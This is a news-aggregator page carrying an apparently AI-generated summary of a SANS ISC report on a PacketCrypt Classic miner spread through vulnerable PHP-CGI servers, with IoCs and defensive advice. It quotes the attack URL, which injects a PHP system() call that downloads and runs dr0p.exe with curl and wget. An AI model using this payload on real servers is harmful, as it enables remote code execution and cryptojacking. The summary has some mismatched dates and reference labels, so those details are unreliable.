🛡️ PacketCrypt Classic Cryptocurrency Miner on PHP Servers, (Tue, Jan 7th)

⏱️ vor 580d 13h (07.01.2025 um 05:25 Uhr) 📖 1 Min. Lesezeit 📂 📰 IT Security 📡 Feed 🔗 Quelle: isc.sans.edu

Schrift:

🤖

AI Executive Summary & Key Takeaways

⚡ Verified Intelligence

<h3>KI generiertes Nachrichten Update</h3><hr>Title: PacketCrypt Classic Cryptocurrency Miner Exploits Vulnerable PHP Servers (Jan 15, 2025) 
Overview: 
A cybersecurity alert has been issued regarding the exploitation of vulnerable PHP servers to mine PacketCrypt Classic (PKTC) cryptocurrency. The attack leverages a malicious URL that downloads and executes a remote payload, potentially compromising systems and draining resources for mining purposes. This incident highlights the risks associated with unpatched or misconfigured web servers. 
<hr />
Discovery and Exploit Details: 
The SANS DShield project detected a suspicious URL: 
<code>/cgi-bin/php-cgi.exe?arg=Content-Type: text/plain <?php system('curl -L -k -O http://[redacted]/dr0p.exe && ./dr0p.exe || wget --no-check-certificate http://[redacted]/dr0p.exe && ...</code> 
This URL, when accessed, downloads and executes a malicious file named dr0p.exe, which is linked to the PacketCrypt Classic (PKTC) mining operation. The exploit targets PHP servers with known vulnerabilities or misconfigurations that allow unrestricted public access to execution environments. 
Malware Analysis: 
- dr0p.exe: A backdoor designed to download and run a secondary payload, likely for cryptocurrency mining. Its SHA256 hash is: 
<code>d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36</code> 
<ul>
<li>
pkt1.exe: Another malicious component with hash: 
<code>e3d0c31608917c0d7184c220d2510848f6267952c38f86926b15fb53d07bd562</code> 
</li>
<li>
packetcrypt.exe: A broader mining tool with hash: 
<code>717fe92a00ab25cae8a46265293e3d1f25b2326ecd31406e7a2821853c64d397</code> 
</li>
</ul>
The malware connects to an IP address 23.27.51.244, which is associated with the EvilBit Block Explorer (port 80) and has open ports for SSH, HTTP, and mining-related traffic (ports 22, 80, 110, 6664). 
<hr />
Wallet Activity and Implications: 
The malicious payload was observed to interact with a PKTC wallet address: 
<code>pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a</code> 
According to the PKTC blockchain explorer, this wallet has accumulated 5 PKTC (approximately 0.0021785 USDT as of current exchange rates). This suggests the attacker is using the compromised servers for mining operations, which could be part of a larger scheme to generate cryptocurrency for illicit purposes or network disruption. 
<hr />
Background on PacketCrypt Classic (PKTC): 
- PKTC (PacketCrypt Classic): A legacy proof-of-work cryptocurrency that transitioned to a stake-based model in 2023, now known as the PKT project. 
- Key Difference: PKTC is the older version of the cryptocurrency, while the current PKT uses a "Stake-to-Earn" mechanism. The malware targets PKTC, which remains active for historical or legacy purposes. 
<hr />
Indicators of Compromise (IoCs): 
1. IP Address: <code>23.27.51.244</code> 
2. Malware Hashes: 
- dr0p.exe: <code>d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36</code> 
- pkt1.exe: <code>e3d0c31608917c0d7184c220d2510848f6267952c38f86926b15fb53d07bd562</code> 
- packetcrypt.exe: <code>717fe92a00ab25cae8a46265293e3d1f25b2326ecd31406e7a2821853c64d397</code> 
3. Wallet Address: <code>pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a</code> 
<hr />
Recommendations for System Administrators: 
- Audit PHP Servers: Ensure all servers are patched against known vulnerabilities (e.g., PHP remote code execution flaws). 
- Restrict Execution Permissions: Limit access to <code>cgi-bin/</code> or <code>php-cgi.exe</code> to authorized users only. 
- Monitor Network Traffic: Track connections to suspicious IP addresses and ports, especially those associated with mining software. 
<hr />
References: 
1. <a href="https://www.virustotal.com/gui/file/d078d8690446e831acc794ee2df5dfabcc5299493e7198993149e3c0c33ccb36">VirusTotal Analysis</a> 
2. <a href="https://crypto.pkt.cash/announcements/pktclassic-adopts-new-ticker-pktc/">PKTC Wallet Explorer</a> 
3. <a href="https://www.pkt.world/explorer?wallet=pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a&minutes=1440&pools=all">PKT Classic to PKT Transition</a> 
Author: Yee Ching Tok, Ph.D., ISC Handler | SANS DShield Team 
<hr />
Note: This alert is based on analysis of the SANS DShield project and does not confirm active exploitation. System administrators are urged to prioritize server security to prevent such incidents.

The SANS DShield project receives a wide variety of logs submitted by participants of the DShield project. Looking at the ââ URLs page, I observed an interesting URL and dived deeper to investigate. The URL recorded is as follows:

🤖 KI News & Trend-Synthese Verifizierte Zusammenfassung